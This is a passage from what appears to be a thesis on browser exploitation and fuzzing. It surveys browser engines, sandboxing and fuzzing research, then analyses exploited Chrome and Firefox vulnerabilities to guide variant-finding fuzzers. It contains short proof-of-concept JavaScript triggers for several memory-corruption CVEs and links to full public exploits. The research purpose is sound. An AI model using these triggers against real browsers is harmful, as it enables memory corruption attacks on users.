from EdgeHTML to Chromium and therefore to Blink. Mozilla Firefox uses the Gecko
engine and Microsoft Internet Explorer the Trident engine. Opera used up to version
12.18 the Presto engine and then switched to Blink.
•
JavaScript engine
The JavaScript engine is responsible to interpret JavaScript code as well as compiling
frequently used code with a Just-in-time (JIT) engine. Google Chrome uses the v8
engine, Mozilla Firefox the SpiderMonkey engine and Apple Safari uses JavaScriptCore
13 https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-
analysis-and-exploitation/
10
(JSC). Microsoft Internet Explorer initially used the JScript engine (IE 1-8) and later
switched to Chakra (IE-11). Chakra was also used by Microsoft Edge until Microsoft
announced a change to Chromium and therefore to v8.
•
Sandbox
Modern browsers support as additional layer of defense the sandboxing concept. Code
responsible for rendering a website and parsing file formats runs inside an exposed but
sandboxed process with limited access to the file system and the operating system. A
vulnerability in this code therefore does not immediately lead to a full system
compromise. An attacker would need to find additional vulnerabilities to compromise the
main browser process. A possible attack is to not target the operating system and
therefore to avoid the sandbox escape. Instead, code execution in the sandboxed
process can be used to disable security protections such as the Same-Origin-Policy
(SOP) as demonstrated by Burnett [7]. This leads to Universal Cross-Site-Scripting
(UXSS). This attack is mitigated in Google Chrome with the security feature site-isolation
14. Site isolation ensures that every opened website is running in a separated process.
However, this has two side effects. First, it allows to make unreliable exploits reliable by
using a bruteforce approach. The exploit can be loaded inside an iframe and therefore
inside a separated process. If the exploit fails and crashes, it can be restarted until
exploitation works which was documented by Exodus Intelligence 15 in 2019. Second, by
separating two websites in two processes, Spectre-like hardware attacks are mitigated
which means that traditional Spectre mitigations, which impeded exploitation in some
cases, are disabled. These mitigations must therefore not be bypassed by attackers.
14 https://www.chromium.org/Home/chromium-security/site-isolation
15 https://blog.exodusintel.com/2019/01/22/exploiting-the-magellan-bug-on-64-bit-chrome-desktop/
11
1.1 Google Chrome
Google Chrome is considered by many researchers to be the most secure web browser [8].
In 2017 Google financed two independent research projects [4] [5] which analyzed the
security of Google Chrome, Microsoft Edge and Microsoft Internet Explorer. The following
cites summarize the research results:
•
"X41 D-Sec GmbH found that security restrictions are best enforced in Google Chrome
and that the level of compartmentalization is higher than in Microsoft Edge." [4]
•
"We consider the level of sandboxing in Google Chrome to be the most restrictive and
most secure." [4]
•
"The browser [Chrome] is very mature in the realm of memory safety. As it comes with a
sophisticated process architecture with strong focus on separation of duty, it also tries to
push forward in quickly adopting all sorts of mitigation mechanisms that modern
operating systems like Windows 10 can offer. This includes CFG, font-loading policies
and image-load restrictions. Its different integrity levels paired with the least amount of
trust for processes that handle user-input, Chrome provides a very restrictive sandbox
where even Win32k syscalls are disallowed." [5]
The security of Chrome is also apparent by the fact that only a few teams successfully
compromised the browser during exploitation competitions like Pwn2Own. In 2017 one team
attempted to attack Google Chrome but failed. In 2018 a hack of Google Chrome was not
attempted by any team at all. In 2019 Chrome was not attacked in its main category but
Chromium was successfully hacked as part of a Tesla car hack. In 2020 again no team
attempted to attack the browser. Payouts from exploit brokers like Zerodium are also highest
for Google Chrome.
Chrome is a modified version of Chromium which itself is a standalone browser. Chrome has
additional support for audio and video formats, includes an update service and additional
components like error reporting. The code of Chrome is not open source, but the code of
Chromium is publicly available. Chromium uses the Blink render engine together the
JavaScript engine v8. The v8 engine is written in C++ which allows to compile JavaScript
code to fast machine code. The interpreter is called Ignition and the JIT compiler is named
TurboFan. Chrome previously used a baseline compiler and for optimization the Crankshaft
compiler. The baseline compiler was replaced by an interpreter to reduce the heap usage
and Crankshaft was replaced by TurboFan to achieve a more stable performance.
Chromium uses four different memory allocators, namely Oilpan, PartitionAlloc, Discardable
Memory and the default malloc implementation. PartitionAlloc implements strong security
measures to prevent exploitation like guard pages, double free detection, no inline meta data
and separation of useful objects like strings and arrays from other objects. In 2015 Blink
switched from PartitionAlloc to Oilpan for several objects like DOM objects. Oilpan
implements a mark-and-sweep garbage collection which reduces the number of use-after-
free vulnerabilities. However, Oilpan was initially shipped without common heap mitigations
12
[9] which simplified the exploitation of heap overflows. The v8 JavaScript engine uses a
garbage collector named Orinoco 16. Chromium supports sandboxing its processes based
on the Windows security model.
Chromium is, in addition to Chrome, used by a lot of other projects including the Brave,
Opera and Steam browsers. Moreover, it is used for multimedia presentation in Tesla cars.
In 2020 Microsoft switched to a Chromium based Edge browser 17. The v8 JavaScript engine
is also used by Foxit Reader and Node.JS which means vulnerabilities in v8 affect an even
bigger user base.
1.2 Mozilla Firefox
Until the end of 2011, Mozilla Firefox was used by around 30 percent of website visitors and
was then superseded by Google Chrome. Nowadays, Google Chrome holds over 58.7
percent of market share and Firefox is at 6.3 percent 18. It is still an attractive attack target
for governances and APT groups because the Tor browser is built on top of Firefox ESR.
Mozilla Firefox uses the Gecko render engine and the SpiderMonkey JavaScript engine.
SpiderMonkey is also used by Adobe Reader and therefore an additional attractive target.
The JIT compiler of SpiderMonkey is named IonMonkey.
Firefox uses the jemalloc memory allocator, which is more prone to attacks than
PartitionAlloc. Mozilla Firefox is shipped with a sandbox which isolates its processes 19 20.
16 https://v8.dev/blog/trash-talk
17 https://blogs.windows.com/msedgedev/2020/01/15/upgrading-new-microsoft-edge-79-chromium/
18 https://www.w3counter.com/globalstats.php
19 https://wiki.mozilla.org/Security/Sandbox
20 https://mozilla.github.io/firefox-browser-architecture/text/0012-process-isolation-in-firefox.html
13
2 Thesis goal
The goal of the thesis is to propose improvements in the field of browser exploitation
research. The goal can be summarized in the following research questions:
Research question 1: Can previously reported exploitable browser vulnerabilities be further
divided into browser-specific vulnerability classes? If yes, what can be learned from these
classes and how can this knowledge be applied to improve current state-of-the-art
techniques to identify exploitable vulnerabilities?
Research question 2: With the knowledge of the identified vulnerability classes, how can the
fuzzing search space be narrowed down to focus mainly on exploitable vulnerabilities?
The questions will be answered by analyzing exploitable vulnerabilities that were discovered
during the last six years in two major browsers – Google Chrome and Mozilla Firefox. These
browsers where chosen because their source code is publicly available, their HTML and
JavaScript engines are different, and they have a big market share. Vulnerabilities in them
therefore pose an enormous impact. A special focus will be laid on in-the-wild exploited
vulnerabilities and on exploits from competitions like Pwn2Own. Vulnerabilities in other
browsers, which were also actively exploited, will also be considered.
The fundament of the research is the assumption that most vulnerabilities share similar
building blocks and follow the same code structure. Current state-of-the-art fuzzers either
apply mutations on existing inputs or generate random code using grammars. This leads to
a huge search space and corner cases, which trigger vulnerabilities, are rarely generated.
In this work building blocks, code patterns and the structure of different vulnerability classes
from recently exploitable vulnerabilities are extracted and implemented in a fuzzer. This
knowledge is used to improve variation analysis in fuzzing. A state-of-the-art fuzzer is
modified and newly developed to create inputs according to the identified patterns. It is
assumed that this method narrows down the search space and variations of already
identified exploitable vulnerabilities can be found more efficiently.
Target audience:
The target audience of this work are experienced reverse engineers and browser security
researchers. It is assumed that the reader is familiar with the basic concepts of memory
corruption vulnerabilities, exploitation techniques to bypass state-of-the-art protections and
the design, architecture and internals of modern browsers. Background knowledge on
Chromium and v8, the mainly discussed browser and JavaScript engine, is available at 21.
Deep knowledge of JavaScript is expected. Knowledge in compiler construction is useful but
not necessarily required.
21 https://zon8.re/posts/v8-chrome-architecture-reading-list-for-vulnerability-researchers/
14
3 Previous work
This chapter discusses current state-of-the-art techniques used to identify browser
vulnerabilities. Since the focus of this work is improving fuzzing techniques, strategies such
as variation analysis using source code review are not covered.
Fuzzing is one of the most used techniques to unveil vulnerabilities in browsers, JavaScript
engines and software components in general [10]. This resulted in extensive fuzzing
research in the last decade [11]. Fuzzing can be categorized in mutation-based and
generation-based fuzzing.
In mutation-based fuzzing valid inputs are mutated to trigger bugs. This fuzzing technique is
often combined with a feedback mechanism that obtains code or edge coverage. Fuzzing
starts with a small set of input files, the input corpus, and performs mutations on these files.
Coverage information is extracted during execution and if a new input yields more coverage,
it is added to the corpus. While code coverage tries to maximize the number of executed
instructions, edge coverage tries to maximize the number of different execution paths a
program takes. The overall goal during fuzzing is to maximize the number of different
memory states of the program. Since this information cannot easily be extracted, code and
edge coverage are used as a heuristic. Coverage information was initially extracted with
compiler hacks which modified the generated object files. Nowadays compilers such as
clang support sanitizer coverage, a compiler pass which adds the coverage feedback.
The most famous fuzzer implementing this type of fuzzing is American Fuzzy Lop (AFL) [12]
which was developed by Zalewski. AFL already discovered hundreds of vulnerabilities in all
kinds of applications. It is so successful because of the high execution speed combined with
excellent heuristics. Over the last years, various academic papers proposed improvements
for algorithms used by AFL.
Böhm et al. suggested with AFLFast [13] the use of a Markov chain to enhance the
algorithms. A further improved version of AFLFast is AFL++ by Heuse et al. [14] which adds
improvements proposed by e.g. Chenyang et al. [15] and Hsu et al. [16] and is constantly
expanded. It implements ideas from MOpt-AFL [15], a fuzzer which was published in 2019
which improves the selection of the mutation strategy. Böhm et al. integrated with AFLGo
[17] a simulated annealing-based power schedule algorithm to increase the ability of the
fuzzer to reach program locations more efficiently. In 2018 Gan et al. proposed with CollAFL
[18] a better feedback mechanism to avoid path collisions and new fuzzing strategies.
Initially, open source projects such as binutils were used to evaluate the performance of
these new fuzzers. However, these projects cannot be used to measure miss or false alarm
rates. The LAVA dataset [19] fills this gap by providing a dataset of real-world applications
with injected vulnerabilities. This project was later extended to Rode0day [20] – a bug-finding
competition. Another often used dataset is the DARPA Cyber Grand Challenge dataset [21],
a dataset from a competition for automatic vulnerability discovery, exploitation and patching.
15
In 2020 Google announced FuzzBench. “FuzzBench is a free service that evaluates fuzzers
on a wide variety of real-world benchmarks, at Google scale. The goal of FuzzBench is to
make it painless to rigorously evaluate fuzzing research and make fuzzing research easier
for the community to adopt.” 22 Figure 1 shows the result of a sample report comparing
frequently used fuzzers. Fuzzers with a lower score, and therefore further left in the image,
are considered to perform better. Based on this evaluation the MOpt-AFL fuzzer is together
with QSYM and AFL++ considered as most efficient.
Figure 1: Sample report result of FuzzBench; A lower score is better; source: 23
It must be mentioned that scores can very between multiple runs and a fuzzer can therefore
just be considered to be better if the score is significantly better than the score of another
fuzzer. Moreover, FuzzBench currently has other problems which are discussed in-depth by
Falk in the issue tracker 24.
The Mayhem [22] system won the DARPA CGC (Cyber Grand Challenge). Mayhem is a
symbolic execution engine which internally uses bap (Binary Analysis Platform) [23]. BAP
translates instructions to its own IL (Intermediate Language) and implements a symbolic
execution engine on top of this IL. Mayhem was combined with the Murphy fuzzer to win the
competition.
With symbolic execution symbolic variables are assumed for inputs and instructions are
analyzed based on these symbolic values. In case of conditional jumps, expressions can be
built on top of the analyzed instructions. The resulting equations can be solved to calculate
input constrains which follow both conditional paths. This means coverage can be maximized
by using a symbolic execution engine to obtain inputs which explore different code paths.
Symbolic execution engines are designed to systematically and efficiently enumerate all
paths in an application.
Symbolic execution engines do not scale to big applications because of the path explosion
problem. The engine cannot go deep into program logic because it does not know which
22 https://github.com/google/fuzzbench
23 https://www.fuzzbench.com/reports/sample/index.html
24 https://github.com/google/fuzzbench/issues/654
16
paths must be followed first. Concolic execution works around this problem by executing the
application and hints based on the concrete values during the execution which paths should
initially be followed. It gathers path constrains during execution with respect to the given
input. After that, the engine can negate one of the collected constrains to calculate an input
which leads to a different code path. This process is executed repeatedly to increase the
coverage.
Symbolic and concolic execution are mainly used in hybrid approaches combined with
fuzzing. Fuzzing is a lot faster and is therefore the main used technique to find new paths.
However, fuzzers often get stuck. A common example is a multi-byte magic value check
which is hard to solve using plain fuzzing. In such a situation the symbolic or concolic engine
can be started to solve the check, to guide the fuzzer to regions which are harder to reach.
To solve the formulas the path constrains are passed to a Satisfiability Modulo Theorem
(SMT) solver. A commonly used SMT solver is Z3 25 which is for example used by the angr
framework via the claripy abstraction layer, by KLEE [24], S2E [25] and QSYM [26].
Other well-known SMT solvers are STP (Simple Theorem Prover) 26, BTOR (Boolector) [27]
and Yices [28]. The effectiveness of these solvers is compared every year in the SMT-COMP
27 competition where especially the mentioned engines performed well.
Team Shellphish placed third in the DARPA CGC. It used a hybrid fuzzing approach with
Driller [29]. Driller is a combination of AFL and angr [30], a selective concolic execution
engine. Driller identified the same number of vulnerabilities in the same time as the top-
scoring team of the qualifying event [29].
Common problems of fuzzers are magic values, checksums and calculated hash checks.
One solution to the magic value problem is the use of a symbolic or concolic execution
engine. However, as already mentioned, these are often slow and do not scale to big
applications. To solve this problem Ormandy already suggested in 2011 with Flayer [31] a
method to strip away certain checks based on tainted input data.
In 2018 this topic was again researched by Payer et al. with T-Fuzz [32]. T-Fuzz uses a
dynamic tracing-based technique to detect checks which fail with all current inputs. It then
removes these checks and restarts fuzzing the transformed program which can then reach
deeper code paths. [32]
Aschermann et al. proposed in 2018 Redqueen [33], another fuzzer which solves the
problem of magic values and checksums by using input-to-state correspondence. Redqueen
outperformed other fuzzers in the September 2018 Rode0day competition.
25 https://github.com/Z3Prover/z3
26 https://stp.github.io/
27 https://smt-comp.github.io
17
Another highly successful fuzzer in Rode0day is AFL-QSYM, a combination of the
unmodified AFL in version 2.52b and QSYM [26], a concolic execution engine developed by
Yun et al. QSYM also reached the second-best score in the FuzzBench sample test.
The usage of an IL is common in symbolic execution engines because it simplifies the
development of the engine. Most engines use well recognized intermediate languages like
the LLMR IR (Intermediate Representation) which is used by KLEE and S2E or the VEX IR
which is used by angr. BAP uses its own IR named the BAP instruction language. QSYM
uses a different approach. Yun et al. identified as major limiting factor of scaling concolic
execution to bigger applications the performance bottleneck of the concolic engine. To solve
this problem, the authors developed an engine which avoids the use of an IR. Since QSYM
was developed tailored to fuzzing, it does not emulate the target binary like S2E does with
QEMU or angr does with unicorn, because emulation is sluggish. Instead, it executes code
directly on the CPU. “Our evaluation results showed that QSYM outperformed Driller in the
DARPA CGC binaries and VUzzer in the LAVA-M test set. More importantly, QSYM found
13 previously unknown bugs in the eight non-trivial programs, such as ffmpeg and
OpenJPEG, which have heavily been tested by the state-of-the-art fuzzer, OSSFuzz, on
Google’s distributed fuzzing infrastructure.” [26]
An approach related to symbolic and concolic execution is taint-based fuzzing. With this
technique, input data is tainted and the taint status is propagated during execution. Because
of this propagation, the fuzzer can query which checks depend on which input bytes to focus
fuzzing these bytes or to eliminate checks. In 2012 such a taint based fuzzing approach was
proposed [34] by Bekrar et al., employees at VUPEN. VUPEN is the predecessor company
of the well-known exploit broker Zerodium and won the first prizes in Pwn2Own in 2011,
2012, 2013 and 2014. In 2015 VUPEN did not participate in Pwn2Own because it’s
successor company Zerodium was founded. Clients of VUPEN’s exploit service subscription
were among others the NSA 28, the German BSI 29 and hacking team 30. In 2017 the idea of
fuzzing supported by dynamic taint analysis was researched again by Rawat et al. in VUzzer
[35], an application-aware evolutionary fuzzer.
LibFuzzer 31 is another frequently used fuzzer, especially by developers. It is an in-process,
coverage-guided, evolutionary fuzzer shipped with the clang compiler. It requires the
development of small fuzzer functions, but it stands out with its huge fuzzing speed which
can be achieved because of the in-process fuzzer design. Major projects like the v8
28 https://www.darkreading.com/risk-management/nsa-contracted-with-zero-day-vendor-vupen/d/d-id/1111564?
29 https://www.spiegel.de/spiegel/vorab/bnd-will-informationen-ueber-software-sicherheitsluecken-einkaufen-a-
1001771.html
30 https://tsyrklevich.net/2015/07/22/hacking-team-0day-market/
31 http://llvm.org/docs/LibFuzzer.html
18
JavaScript engine or Chromium are shipped with hundreds of such fuzzer scripts 32 33
developed for LibFuzzer.
Further work in the field of improving fuzzing performance was done by Xu et al. [36] by
shortening the time of each fuzzing iteration. For this, three new primitives in the operating
system kernel were developed and integrated to AFL and LibFuzzer.
With respect to web browsers, feedback-based fuzzing is in most cases not efficient and
further researcher is required. Feedback-based fuzzing is mainly used to fuzz binary
protocols and formats which can achieve a high execution speed of several hundred or
thousand executions per second.
Browser fuzzing on the other hand is typically implemented by using large test cases with
execution times of several seconds per test case. Fratric from Google Project Zero
experimented with feedback mechanisms applied to browser fuzzing in 2017 and concluded:
"[...] more investigation is required in order to combine coverage information with DOM
fuzzing in a meaningful way" [37]. Feedback based fuzzing is typically mainly used to fuzz
specific function implementations or the handling of image, video or audio file formats in
browsers, mainly with LibFuzzer.
Another fuzzing technique is generation-based fuzzing. With this technique code is
generated based on pre-defined rules. This is often achieved with gramma-based fuzzers
where a gramma defines how input should be generated. An example of such a fuzzer is
domato 34, which already found a huge amount of browser vulnerabilities over the last years.
Another such fuzzer is grammarinator [38], developed by Hodován et al., which has
capabilities for input generation as well as input mutation. The Mozilla Firefox security team
developed the Dharma fuzzer 35, which is a grammar-based fuzzer similar to Domato. Most
notable is especially the newer Domino 36 fuzzer, which was developed over three years by
the Firefox fuzzing team. The basic idea of this fuzzer is to use WebIDL definition files as
grammar. WebIDL is internally used in the source code of browsers to describe implemented
APIs and is therefore the most complete and up-to-date available grammar.
Groß proposed in 2018 new research by fuzzing JavaScript engines with feedback-based
mutations using the fuzzilli fuzzer [39]. For this, Groß created an IL on which mutations are
performed to ensure that only valid JavaScript code is created.
Han et al. published [40] in 2019 a technique named semantic-aware code generation
together with the Code Alchemist 37 fuzzer. With this technique JavaScript code samples are
split into small code bricks which are then recombined by the fuzzer to generate semantically
32 https://github.com/v8/v8/tree/master/test/fuzzer
33 https://github.com/chromium/chromium/tree/master/testing/libfuzzer/fuzzers
34 https://github.com/googleprojectzero/domato
35 https://github.com/MozillaSecurity/dharma
36 https://hacks.mozilla.org/2020/04/fuzzing-with-webidl/
37 https://github.com/SoftSec-KAIST/CodeAlchemist
19
correct code samples. A similar idea is implemented in this thesis. However, coverage
feedback is used to generate a corpus of code snippets.
Park et al. proposed [10] in 2020 a technique which uses aspect-preserving mutations to
fuzz JavaScript engines. This approach resulted in the discovery of 48 bugs in ChakraCore,
JavaScriptCore and V8. The paper was published after most experiments for this thesis were
already performed and it contains similar ideas as presented in this work. The authors used
similar sources to create an initial corpus, used coverage feedback during fuzzing and
implemented aspect-preserving mutations. Aspect-preserving in this context means that the
structure or type semantics are not modified during mutations which help to identify
variations of previous vulnerabilities. While the goals of Park et al. and the goals of this thesis
are the same, the used methods to achieve them are different. Park et al. used carefully
designed mutation strategies to not change the structure or types of variables in a test case.
In this thesis, another approach is used. A template corpus is used to test different code
structures as explained in chapter 5.2.2. To preserve type information, type feedback is
extracted, see chapter 5.2.3.
Sanitizers are an important concept in fuzzing. Some vulnerabilities do not necessarily lead
to a crash when they occur and can therefore not easily be detected during fuzzing. This
problem was partially solved by AFL by introducing a custom heap implementation named
libDisclocator 38. New compilers, such as LLVM, ship sanitizers which add code during
compilation to detect more vulnerabilities. The most important sanitizer is ASAN (address
sanitizer) [41] which detects a wide variety of vulnerabilities. Other important sanitizers are
MSAN (memory sanitizer) [42] and UBSAN (undefined-behavior sanitizer) 39.
Google Chrome and Mozilla Firefox ship pre-build ASAN builds for their current releases 40
41 to support researchers. The Tor browser was even shipped as a hardened version 42 as
an ASAN build. Moreover, fine-grained ASLR was integrated in the hardened version with
SelfRando [43]. The hardened project was discontinued in 2017 43.
Google regularly fuzzes ASAN, MSAN and UBSAN Chrome builds using their ClusterFuzz
infrastructure. In 2016 they used 500 VMs with ASAN, 100 VMs with MSAN and 100 VMs
with UBSAN resulting in the identification of 112 new bugs in 30 days. In these 30 days
14,366,371,459,772 unique test inputs were created and tested. [44]
During the last years Google spent huge computation resources on fuzzing their software
and open source projects. The following cites underline this:
38 http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
39 https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html
40 https://commondatastorage.googleapis.com/chromium-browser-asan/index.html
41 https://developer.mozilla.org/en-US/docs/Mozilla/Testing/ASan_Nightly_Project
42 https://blog.torproject.org/tor-browser-55a4-hardened-released
43 https://blog.torproject.org/discontinuing-hardened-tor-browser-series
20
•
“Using these techniques and large amounts of compute power, we’ve found hundreds of
bugs in our own code, including Chrome components such as WebKit and the PDF
viewer. We recently decided to apply the same techniques to fuzz Adobe’s Flash Player,
which we include with Chrome in partnership with Adobe. [..] Turns out we have a large
index of the web, so we cranked through 20 terabytes of SWF file downloads followed
by 1 week of run time on 2,000 CPU cores to calculate the minimal set of about 20,000
files. Finally, those same 2,000 cores plus 3 more weeks of runtime were put to good
work mutating the files in the minimal set (bitflipping, etc.) and generating crash cases.”
[45]
•
In another blogpost from 2017 Google Project Zero fuzzed browsers and published their
results: "We tested 5 browsers with the highest market share: Google Chrome, Mozilla
Firefox, Internet Explorer, Microsoft Edge and Apple Safari. We gave each browser
approximately 100,000,000 iterations with the fuzzer and recorded the crashes. […]
Running this number of iterations would take too long on a single machine and thus
requires fuzzing at scale, but it is still well within the pay range of a determined attacker."
[37] This experiment lead to the discovery of 17 Safari, six Edge, four Internet Explorer,
four Firefox and two Chrome vulnerabilities. [37]
•
In 2016 Serebryany [46] mentioned that several teams at Google work on hundreds of
fuzzers which run on over 5,000 CPU cores and fuzz 24 hours and 7 days a week. This
resulted in the identification of over 5,000 bugs in Google Chromium.
•
In a browser research study [4] conducted in 2017, Google revealed their internal fuzzing
numbers: “The Google Chrome browser is subject to extensive continuous fuzzing by
the Chrome Security Team. […] The object code of the Chromium project is fuzzed
continuously with 15,000 cores” [4]. In addition to that, the Google Chrome Security
Team selectively invites external researchers to write effective fuzzers and run them on
their systems and reward bugs found in this process [4].
•
Two years later, in 2019, the Chrome Security Team mentioned in a talk 44 that they
use 25,000 cores to constantly fuzz Chrome code.
•
Google also runs the OSS-Fuzz project which uses AFL and LibFuzzer to fuzz common
open source applications and libraries. “Five months ago, we announced OSS-Fuzz [...]
Since then, our robot army has been working hard at fuzzing, processing 10 trillion test
inputs a day. Thanks to the efforts of the open source community who have integrated a
total of 47 projects, we’ve found over 1,000 bugs” [47]. Two years later, the OSS-Fuzz
project already found by June 2020 over 20,000 bugs in 300 open source projects [48].
44 https://youtu.be/lv0lvJigrRw?list=PLNYkxOF6rcICgS7eFJrGDhMBwWtdTgzpx&t=432
21
4 Analysis of vulnerability patterns
“The enormous complexity of v8 means it contains entirely new and unique vulnerability
classes.” [49]
In this chapter, recently exploited vulnerabilities are categorized to analyze the underlying
structure of them. For the analysis, the internet has been sought for vulnerabilities with
publicly available exploits. The discovered vulnerabilities are categorized and analyzed in
depth. The extracted information is summarized in the generalization for variation analysis
paragraphs. These paragraphs contain the key learnings which are used to enhance a
current state-of-the-art fuzzer to improve its ability to find similar vulnerabilities.
The vulnerabilities were selected based on the following criteria:
•
An exploit is available, exploitability was publicly demonstrated, or it is coherent that
an exploit can be written for the vulnerability. This ensures that only exploitable
vulnerabilities are analyzed which increases the fuzzer’s likelihood to find similar
patterns and therefore exploitable vulnerabilities.
•
Vulnerabilities affecting Google Chrome were preferred because of its huge user
base. In addition to that, vulnerabilities in Mozilla Firefox, Apple Safari and Microsoft
Edge are considered.
•
Recently exploited vulnerabilities were favored but actively exploited older
vulnerabilities were also included. As a hard limit only vulnerabilities from 2014 or
later were considered.
•
Vulnerability categories are only listed if vulnerabilities in them meet the above
criteria. Categories such as stack-based buffer overflows are therefore not discussed
in this work.
•
Only vulnerabilities affecting the main browser code are considered. Vulnerabilities
in third-party libraries are not discussed because such vulnerabilities are specific to
these libraries. Sandbox escapes are out-of-scope of this work.
In total 55 vulnerabilities fulfilled these criteria. They split into 33 Chrome, 14 Firefox, four
Safari and four Edge vulnerabilities.
The Proof-of-Concepts (PoCs) are taken from the JS-Vuln-DB 45 project or from the
referenced bug trackers. Comments have been added to increase the readability of the code.
Not every implementation detail of the vulnerabilities’ root cause is discussed. Instead, the
focus is laid on the knowledge required to enhance fuzzers and therefore on the JavaScript
code triggering the vulnerabilities and on understanding the underlying concepts.
The vulnerabilities in the sub-chapters are logically ordered and not ordered by date. The
chapters are based on each other which means later explanations depend on knowledge
obtained from previous chapters. Later categories or vulnerabilities are more complex.
45 https://github.com/tunz/js-vuln-db
22
4.1 Classic vulnerabilities in the render engine
In this chapter classic vulnerabilities in the render engine are discussed. Exploitation of such
vulnerabilities is nowadays not so common anymore because browsers employ additional
hardening techniques such as hardened heap allocators, like PartitionAlloc in Chrome, or
segmented or isolated heaps, as implemented in JSC. In addition, such vulnerabilities are
often harder to debug because the debugger must be attached to the full browser which is a
time-consuming task. Moreover, finding such vulnerabilities with fuzzing is also slower
because starting a complete browser with a GUI consumes more time.
4.1.1 OOB memory access
OOB (Out-of-bound) memory access occurs when bound checks are incorrectly
implemented. In simple programs they often arise when strings are manually parsed. An
example can be a loop which iterates through a string with a break condition which checks
for a space character. If the programmer forgot to check for the null termination, the loop
could lead to OOB access. The following examples show a similar problem. In a loop the
root tag of an HTML element is searched which was assumed to be always the html tag.
However, by embedding the HTML element in an SVG context, the root element is the svg
tag which leads to OOB access in the loop.
Examples:
Firefox bug 1246014, CVE-2016-1960 – nsHtml5TreeBuilder memory corruption
01: document.body.innerHTML = '<svg><img id="AAAA">';
02: var tmp = '<title><template><td><tr><title><i></tr><style>td</style>';
03: document.getElementById('AAAA').innerHTML = tmp;
In line 1 an img element is created with ID AAAA. The img element is wrapped inside a svg
tag. Typically, the root element is a HTML tag. However, while parsing the fragments in line
3, the code did not consider that the img tag can be wrapped inside a svg tag resulting in an
OOB memory access.
Public exploits are available at 46 and at 47 which use a bruteforce attack. An exploit for 32-
bit browsers using JIT spraying is available at 48.
Generalization for variation analysis:
•
The fuzzer must have access to a grammar which defines that attributes such as
innerHTML or functions like getElementById exist. The correct property names and
46 https://www.exploit-db.com/exploits/42484
47 https://github.com/offensive-security/exploitdb/blob/master/exploits/windows/remote/42484.html#L969
48 https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-
1960_Firefox_44.0.2_float_pool_spray.html
23
functions must be accessible for every possible type. It is desired that the number of
function arguments and their types is available in the grammar.
•
Wrapping HTML elements in an SVG context can lead to similar bugs.
Firefox bug 1270381, CVE-2016-2819 – HTML5 parser memory corruption
01: document.body.innerHTML = '<table><svg><div id="BBBB">';
02: var tmp = '<tr><title><ruby><template><table><template><td><col> ';
03: tmp += '<em><table></tr><th></tr></td></table>hr { }</style>';
04: document.getElementById('BBBB').outerHTML = tmp;
05: window.location.reload();
The vulnerability is a variation of CVE-2016-1960. Instead of an img tag a div tag is used
and the HTML code in line 2 and 3 slightly differs. The root cause of the vulnerability is similar
to the previous vulnerability. The different HTML code triggers the same programming flaw
just in a different code location.
A public exploit targeting 32-bit Firefox on Windows 10 is available at 49.
Generalization for variation analysis:
•
This example demonstrates that small variations of vulnerabilities can lead to the
discovery of new vulnerabilities.
•
Calling window.location.reload() can trigger vulnerabilities because a reload of
the page leads to various heap operations.
49 https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-
2819_Firefox_46.0.1_float_pool_spray.html
24
4.1.2 Integer overflows
Integer overflows occur when the result of a calculation does not fit into the assigned data
type. The value wraps, which often results in the bypass of security checks or OOB data
access. Another common problem is the interpretation of an unsigned value as signed value
or vice versa.
Examples:
Chromium issue 359802, CVE-2014-1736 – ImageData sign error
01: var oContext2d = document.createElement("canvas").getContext("2d");
02: var oImageData = oContext2d.createImageData(0x10FFFFFF, 1);
03: function addressToIndex(iAddress) {
04: return iAddress + (iAddress < 0x7fff0000 ? +0x80010000 : -0x7fff0000);
05: }
06: oImageData.data[addressToIndex(0x41414141)] = 0x42; // Writes 0x42 to [0x41414141]
The allocation in line 2 always happens at address 0x7FFF0000 and it creates a huge pixel
image array because of a sign error. When the length 0x10FFFFFF is stored in line 2 in an
internal variable, no checks are performed to verify that the passed value fits into the smaller
used data type. This results in a sign extension which leads to a negative length value. Since
array bound checks are unsigned comparisons, the negative length value is interpreted as
a huge positive number which effectively removes the bound check. Since the base address
is always the same address, it leads to arbitrary read and write access as demonstrated in
line 6.
A full exploit for this vulnerability can be found at 50.
Generalization for variation analysis:
•
To find similar vulnerabilities with a fuzzer, the fuzzer needs to know that a canvas
element has a 2d context on which the createImageData function can be called.
Furthermore, the fuzzer needs to know the number of arguments and that the
returned value is an array. This requires a comprehensive grammar definition.
•
Values which can lead to sign errors, such as 0x10FFFFFF, should be used during
fuzzing.
50 https://github.com/4B5F5F4B/Exploits/tree/master/Chrome/CVE-2014-1736
25
4.1.3 Use-after-free bugs
Since C++ is not garbage collected, vulnerability classes such as use-after-free bugs can
occur. The following pattern demonstrates the underlying problem:
01: unsigned char *pData = malloc(0x20);
02: use_data(pData);
03: free(pData);
04: // Other code
05: use_data(pData); // Use-After-Free
In line 5 the data is accessed although it has already been freed. If another allocation
happens between the free (line 3) and the use (line 5) an attacker may control the content
of the pData buffer.
One approach to deal with these vulnerabilities is the implementation of reference counting
objects. They are implemented by smart pointers based on the RAII (Resource acquisition
is initialization) design pattern and are available since C++11. They use an internal counter
to track the number of hold references. When the scope of a smart pointer ends, the
destructor is called which decrements the number of hold references. When the value
reaches zero the data is freed. If used correctly, this technique would solve the problem of
use-after-free bugs and not reclaimed memory. However, this concept leads to a problem
with circular references because such objects would never be freed. To solve this problem
a weak pointer can be used which does not increment the reference count. C++11
implements both pointers with the types shared_ptr and weak_ptr. The incorrect usage of
these types or accessing a raw pointer of a smart pointer can lead to use-after-free
vulnerabilities.
To hamper exploitation of these attacks, browser-developers hardened their heap
implementations. For example, the PartitionAlloc heap from Chromium separates objects on
different heaps. Microsoft Edge implemented delayed frees and MemGC 51. Apple Safari
uses the concept of isolated heaps 52.
51 https://securityintelligence.com/memgc-use-after-free-exploit-mitigation-in-edge-and-ie-on-windows-10/
52 https://labs.f-secure.com/archive/some-brief-notes-on-webkit-heap-hardening/
26
Examples:
Chromium issue 936448, CVE-2019-5786 (exploited in-the-wild) – FileReader Use-
After-Free race condition
01: // The PoC is simplified and can't be started stand-alone
02: const string_size = 128 * 1024 * 1024;
03: let contents = String.prototype.repeat.call('Z', string_size);
04: let f = new File([contents], "text.txt");
05: function force_gc() {
06: try { var failure = new WebAssembly.Memory({initial: 32767}); } catch(e) { }
07: }
08: reader = new FileReader();
